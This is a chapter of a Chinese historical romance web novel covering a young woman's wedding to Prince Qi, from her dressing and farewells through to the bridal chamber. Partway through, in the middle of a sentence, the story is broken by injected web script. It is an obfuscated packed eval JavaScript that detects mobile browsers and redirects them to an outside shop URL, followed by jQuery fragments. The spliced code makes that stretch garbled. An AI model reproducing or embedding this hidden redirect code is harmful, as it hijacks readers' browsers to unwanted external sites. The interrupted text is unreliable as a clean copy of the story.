游家在筹备嫁妆之外,一些得了家主命令的洒扫婆子也都从府里的账房那领来了喜纸和对联,连同折鹭也去账房领了漱芳斋的新婚对联,张贴在门匾下。
直到明日将要出嫁的游静婉,看着身边人脚不沾地的忙碌,自己也是满心欢喜。
她今日从许姨娘那用了晚膳回来,母女俩抱在一起,因着许姨娘对游静婉的不舍,俩人更是哭了一轮。
等她终于有空闲回到自己的漱芳斋,迎面进屋就见到那一对喜红的对联。
接着又听在她背后的折鹭说道,“恭喜小姐,贺喜小姐,明日就是小姐大婚的喜日子了,
小姐今日可是要早点歇下,免得明日手忙脚乱的。”
她回头望了一眼折鹭,只见这小丫头撒了欢似的跟自己道喜。脸上也是满脸笑意的回她,
“你这丫头片子,光顾着打趣我,你也早些回寝房歇着吧,
明日还得靠你帮我梳妆打扮了呢。”她走到屋内的罗汉床作势便要歇息一会,看着梨花檀木圆桌上摆放整齐的喜服,脸上飞起红霞,娇羞的神态可比春日间盛放的明艳芙蕖。
折鹭看着自家小姐被一番话说的红了面庞,笑的更是活泼起来。然后又帮她从院外的水井处打来洗漱用的清水,侍奉游静婉洗漱过后,
方才又端着铜盆,一边说道。“好,我也不打趣小姐了,小姐早些歇息吧,明日还要早起上妆呢。”
折鹭话音落下,也不再耽搁的端着铜盆出了门。而神思飞远的游静婉也在室内一片寂静后,
看着床榻边上的红烛发了会呆,旋即起身坐在了铜镜前。望着镜中的女子面目娇羞,眉眼含情,心里也是既开心又幸福。
想到自己明日就将嫁入王府,跟齐王拜堂成亲,自己即将成为齐王的妻子,不由得更是将那日的回忆藏得更深。
心里那股难以言喻的滋味涌上心头,她胡思乱想之际,又见今日的窗外黑夜低垂,月亮也未曾照临夜空,
暗暗觉得这般寂静未尝不是催促她早些入眠。于是也换下自己的衣袍,并将衣袍折叠放置在罗汉床边,等着明日折鹭将衣裳收入包袱,一道带去王府。
躺在床上的游静婉很快也感到倦意袭来,静静的安睡了过去。
直到第二日天还未亮,府内已有人声开始活动起来,膳堂也早了一个时辰便开始筹备今日婚宴所需的菜料食材。
折鹭更是跟着喜婆一道走进了屋,推着她的手把游静婉唤醒起来。“姑娘,醒醒,起来梳妆了。”
她又跟喜婆互相对视了一眼,然后又接着说道。“你且在这帮小姐换婚服,我去给小姐端早膳回来。”
折鹭身边的喜婆闻言点点头,接着等候游静婉睡醒。怀揣着今日喜事入睡的游静婉在折鹭一出声便就醒了过来,
只是睁着眼望着帘幕上垂落的纱帘,床榻边上的蜡烛还燃烧着,天色正是一片微微濛亮的迷蒙幽暗,
她接着从床榻上老老实实的起身,身边的喜婆见她这般好喊,心下也清明,对她说道。
“恭喜小姐新婚大喜,现在便由奴婢为您更换喜服吧。”听完喜婆所说的游静婉,也是动作整齐的将自己的寝衣褪下。
接着穿上纹绣鸳鸯花样的裹胸,脖颈后还勾着一根肚兜的系带。喜婆见她将裹胸穿好后,又帮她抽走了肚兜,
接着又给游静婉换上喜红的内衬,轻轻束上结后,帮她将厚重薄绒的喜服外袍接着穿上,游静婉看着眼前动作十分利落的喜婆,
跟随着她的动作为自己换上婚服,等她穿好后,又见喜婆站在她的背后将她的头发捋作一束的放在背后。
游静婉看她作势要为自己上妆,接着扭头对她说道。
“喜婆且慢,等折鹭端回了早膳,我用过后,咱们再上妆吧。”喜婆听她一说,手上的动作收了回来,接着笑脸圆话说道。
“怪我,怪我,太着急了,才想起小姐你还未用早膳。”凝视着游静婉这身惊艳的婚服,
喜婆暗道自己从前见过多少神仙靓丽的新娘子,今日这位的容貌当真惊艳绝伦,穿着喜服的游静婉那压制般的艳丽容貌,更让这场喜事显得格外震撼。
那厢从膳房端着早膳进屋的折鹭也已折返回来,看着自家小姐穿着深红的婚服,脸上的笑意也止不住的上扬。
游静婉望着她们二人眼里的惊艳和喜悦,自己也被感染到这份洋溢的欢喜,
笑着端起早膳,动作优雅的开始用起早膳。等她扫空了碗里最后一口白粥,拿着巾帕擦了擦嘴角,
身边的喜婆也让她站立起来,“小姐先起来,我看看这裙摆是不是拉直了。”三人在这屋里梳妆起来,
她起身在喜婆的检查过后,慢慢坐在了梳妆镜前。喜婆帮她将头发一缕一缕的梳直,接着又帮她梳起飞仙发髻,
用金簪和攒花流苏固定好游静婉的发髻后,喜婆接着便将一顶金叶雕琢的凤凰发冠戴在游静婉的发髻上。
折鹭也是一手帮她化妆,一边帮她描起烟青雾眉,只见铜镜前的新娘容貌明艳动人的妆容和一身华丽金贵的发冠喜服,
显出一派雍容华贵的气质。装扮完成的游静婉静静的坐在罗汉床上,
喜婆伫立在一旁对她说道。“小姐暂且坐这等一等迎亲的队伍过来,奴婢先去外院看看喜轿的人都到了没。”
游静婉对着喜婆点点头,喜婆接着让折鹭陪游静婉一块在屋里等着,她自己一人脚步飞快地去往外院。
折鹭看着自家小姐一身喜袍的端坐在罗汉床上,笑着将圆桌上摆盘整齐的红果拿来一个放在她的手里。
接着又扶了扶游静婉的裙摆,笑着对她说道。“小姐,这个喜果您可得拿好。等会接亲的人来了,我再帮您盖上盖头。”
游静婉妆容化好后,透过铜镜看了一眼自己浑身上下的装扮和妆容,嘴上的口脂更是鲜红欲滴。
看着眼前宽解她紧张心情的折鹭,又见她头上也簪着鲜红的花朵,唇角微勾,眼神发光般地看着她。
“好,劳烦你了折鹭,你今日这身衣裳也好看。”主仆二人双双对视后,也俱都沉浸在今日的成亲喜事上。
喜婆出去后过了大约几刻钟,天光也正式的亮如白昼,她身边还跟着同样喜意连连,一身新装的许姨娘。
许姨娘在身边秋依的陪伴下,来到漱芳斋,一眼便望见端坐在罗汉床上的游静婉,
一身喜袍的游静婉化着娇俏惊艳的新娘妆容,美不胜收,甫一见到此景的许姨娘便是红了眼眶。
泪珠在眼眶边上打转,就欲要哭将起来。还是游静婉牵住了她的手,一边安慰她,一边笑着说。
“姨娘莫哭,今日是女儿出嫁的喜日子,等以后一定还能跟姨娘再团聚的。”
游静婉也被许姨娘这场眼泪刺激得眼眶也是红了起来,喜婆见到二人难舍难分,不由得岔话说道。
“姨娘和新娘子可快别哭了,这会该是时候去正院拜别老太太和太傅大人,是时候要出嫁了。”
她说完话的功夫,便已是在游静婉的右手边上扶着她慢慢起身,接着又让折鹭拿好红盖头。
一行人缓步绕过了月门,走过花园的廊道,便在正院见到了已在那里等候的游太傅和谢老太太,周氏。
游太傅看着眼前妆容美艳,年华正茂的女儿,脸上即是一股骄傲和喜悦,又有些不舍的说,
声音里那几不可察的哭腔还是泄露着眼前男人的心事,“今日是婉姐儿出嫁的日子,为父为你送嫁,
心里也着实不舍,闺女也是大了,总有要嫁人这一日。
往后你要在齐王府好好的相夫教子,
整理家事,不要再像从前那般使小性子,为父宠着你也罢了,嫁作别人家的媳妇了,
要万事注意言行举止,与齐王夫妻敬重才是。”男人话音落罢,声音也在絮念家事时候变得沉稳下来。
谢老太太一把高寿的跟游太傅并排着站在台阶上,看着眼前的孙女对自己和游太傅缓缓叩拜,心中也是万分不舍,
牵过她的手拍了拍,接着便说。“我家的姑娘这样懂事,今岁嫁了人,
以后可要行事稳重些,若是心里有个委屈,也要回来家里告诉我这老太婆。
凡事都要多加思量,在齐王府要好好的照顾自己,别让我这老太婆担心。”
游静婉眼圈边已是一排眼泪落下,深深拜礼后,对老太太说道。
“祖母所说的,静婉记下了,祖母也要保重好身子,静婉会时时为祖母祈愿,希望祖母身体康健,长命百岁。”
周氏说话时,也不咸不淡的提点了游静婉几句,假作落泪般的拿着帕子按了按自己的眼角。
然后放开了游静婉的手,许姨娘在周氏的身边看着她,
上前握住游静婉的双手,对她又是哭喜又是不舍的说道。
“婉姐儿要常写信给我,姨娘怕自己想你想的难过了,以后只得看信才能彷如见到你一般。”
游静婉跟许姨娘早早道别过,如今更是见亲情更怯,对着许姨娘含泪点了点头,这才被许姨娘放开了手。
喜婆见新妇拜别了亲人后,也拿着红盖头为游静婉盖上。
一行人缓缓的朝着大门远去,折鹭搀扶着被盖头遮挡住视线的游静婉,院门外已是锣鼓暄天,
奏乐礼炮齐齐的在游府大门响了起来,那长街上目睹着游家喜事和齐王府的接亲队伍看热闹的百姓,也都在游府门口闹喜,
管家拿着事先准备好的喜钱从天而散,百姓路人看了纷纷去捡去接,
等到游静婉上了花轿,吹奏喜乐的队伍也从柳叶巷的巷尾开始走起,一行车队花轿朝着京城中的齐王府门口走去。
游家一众人员也在送走游静婉后不久,迎着宾客进门,招呼他们入花厅就座吃席,
整个游家显得既混乱又热闹,而那边登上花轿,手里还揣着喜果的游静婉也正在车队的抬轿之下,走了约莫小半个时辰。
车队终于将游静婉送到了齐王府,与游府同样张灯结彩,喜气迎门的齐王府大门处,
齐昭王赵永珏也在门口等候着新妇入府,等游静婉下了花轿后,二人便牵着红系带一路往正院内走着。
他的母妃德妃此刻也正坐在齐王府的正院,身边站着皇后和皇帝派遣来王府的怀禄和另外一位皇后寝宫的内监。
坐在主位的德妃看着眼前的新人在她面前行着婚仪仪,华服著身的德妃脸上也是满面笑意。
看着自己的儿子和新妇对自己叩拜,忙喜不迭的说着,“快起,快起,新妇以后可是齐王妃了。
要与齐王好好的相敬如宾,夫妻爱重才是。”说着从正座上起身,将手里的翡翠手镯直接取下戴在了游静婉的手上。
游静婉一只手拿着喜果,一只手被德妃牵在手里,想要征求齐王同意的她,将脸转向自己身边的夫君。
齐王也是一脸温润笑意地看着自己的母妃,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206167|197350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接着对她说道。
“新妇便收下吧,这是母妃的好意。”母子二人对视一眼,四目相接时,德妃望向自己儿子的疼爱和宠溺也传递给了身穿大红喜袍的齐王。
一时间场内的气氛极是和乐融融,游静婉盖在红盖头虽然暂不能视,但也还是发现了德妃跟齐王的母子情深和乐的氛围。
遂而再一躬身行礼说道。“谢母妃赏赐。”喜婆看着眼前的吉时礼仪都结束完毕,接着喊道。“新娘入洞房。”
齐王接着朝游静婉行一揖礼,接着出去外院接待来往宾客。而游静婉自然也在身边的折鹭和喜婆的搀扶下,
一步步地走去她和齐王的婚房。整个王府显得喜气洋洋,正院外的大门处更是响彻着礼乐鸣炮的声音,
随着她走的路程越来越接近婚房,喜乐声才渐渐小了许多。喜婆将她慢慢地扶坐在了婚房的床榻上,
她便接着听完喜婆所念的贺词,然后一群人熙熙攘攘的走出婚房,
只剩折鹭还伫立在她的手边。主仆二人静默了好一会,方才听折鹭忍不住的开口说道,
“小姐,终于是礼成了,只可惜这盖头得新姑爷回来才能给你摘下来。”
游静婉难得的腼腆起来,微微笑着小声的跟她说道。
“是啊,恐怕得很晚了,你去看看婚房外面有没有人,我不想一直坐着,这样太累了。”
听到游静婉唤她出门查看屋外的动静,那厢也是有些被今日礼仪规矩给折腾的够呛的折鹭小心翼翼地观望起屋外的人声动静。
接着回来对游静婉说,“姑娘,外面好几个婆子在整理花圃,还在加贴那些喜符呢。”
游静婉闻言,便消了想要起身的念头,依旧坐在榻上,然后在发呆当中消耗着时光。
而外间正在礼宴宾客的齐王也是忙的脚不沾地,
两人午时拜堂过后,直到申时游静婉才入了新房内,在其中坐等他宴客结束,
身边的小厮墨云也在今日满心欢喜的祝贺了他新婚大喜,接着又帮他挡下了一些婚宴里的宾客推杯交盏过来的美酒。
他也因此少饮了几杯,神志依然清醒的会客到了晚间,
有些官员赶着来赴他的晚宴,京城中的武将人士更是集合队伍一般的赶在晚间这趟酒宴而来。
速来跟他有些交情的骁骑营将领也是豪爽地拉着他一通好灌,“晏之再灌下去这酒,我怕是连婚房都走不回了,哈哈哈。”
那厢被他喊到脸色有些羞赧的裴晏之笑着说,
“今日是永珏的新婚大喜,一时高兴嘛,这才拉着你好一通喝,
俗话说人生又难得几回成婚大喜,今日不相聚一乐,何时才有如此吉辰美事啊。”
齐王赵永珏看着自己的好兄弟如此说道,豪饮了几杯后,
方才告退作罢,一面说道。“晏之帮我好好招待这几位武殿官员才是,
我这有些酒力不济,暂且回房陪新妇去了。”
裴晏之见他脸色红润,眉眼春意的笑容,也是露出心知肚明的表情,接着推他速速的离开酒席,自己转头跟宴上的几个武官喝起酒来。
时已至晚间,霜露渐重,游静婉下午趁人不备时,也悄悄的偷懒了几回,直到折鹭突然闯入房内跟她说着,
“小姐,齐王殿下过来了,你快坐好。”得知这一消息的游静婉顿时一个鲤鱼打挺的迅速坐直了身子,
身穿深红喜服的男人,整个人覆着一层朦胧的酒气,脸上的肌肤也被一路走来的寒风吹消了些许红气,
只见齐王在折鹭报过消息后不久,便已是倾着身子,领着身后的小厮墨云慢慢走入了房内。
男人未发一语,身上萦绕的酒气和脚下那玄墨如漆的锦靴渐渐的出现在了游静婉红盖头的视线之下。
伫立在她身边的折鹭恭敬的朝他行礼拂身,“王爷安好。奴婢恭祝您和夫人大喜。”
赵永珏答了一句,便对她和身边的小厮墨云说道,“你们二人也且去歇息吧,墨云,你领着折鹭姑娘一道去宴上用膳。”
上次游静婉派遣折鹭来王府送信,他也是那时得知她身边的贴身丫鬟名唤折鹭。
遂而也记在了心里,想到她应该和墨云一般还未动晚膳。
“对了,你们先去厨房那拿些饮食过来,新妇还没用过晚膳,我陪她一道在房内用膳。”
赵永珏接着坐在了紫檀圆桌边,等他们二人告退离开,方才起身去揭游静婉的红盖头。
游静婉心跳如擂地看着眼前的男人慢慢揭开,心里回想着他刚才的声音,
接着慢慢抬起头,两人互相对视着看着彼此。
赵永珏看着这副熟悉的花容月貌,又见她脸上的妆容将她衬显恍如神仙妃子,唇角微勾,
眼睛一眨不眨地看着这个曾在他面前囧态百出的女子,
心里涌起对她的喜欢与怜爱,接着俯身朝她的唇上轻轻留下一吻。
突如其来的亲吻,让游静婉的心跳都不由得加快了几分,脸上迅速飞起红霞,
红烛之下,互相对视着的新婚夫妻,在新郎赵永珏的主动下打破了那层若有似无的陌生隔膜,
情谊流转间,男人贴心的扶着她起身,帮她卸掉沉重的凤冠,互相对坐在紫檀圆桌边。
被赵永珏唤去一道去膳房取晚膳的折鹭和墨云很快折返回来,两人这才结束了这场暧昧的拉锯,
仿若多年的夫妻一般准备共进晚膳。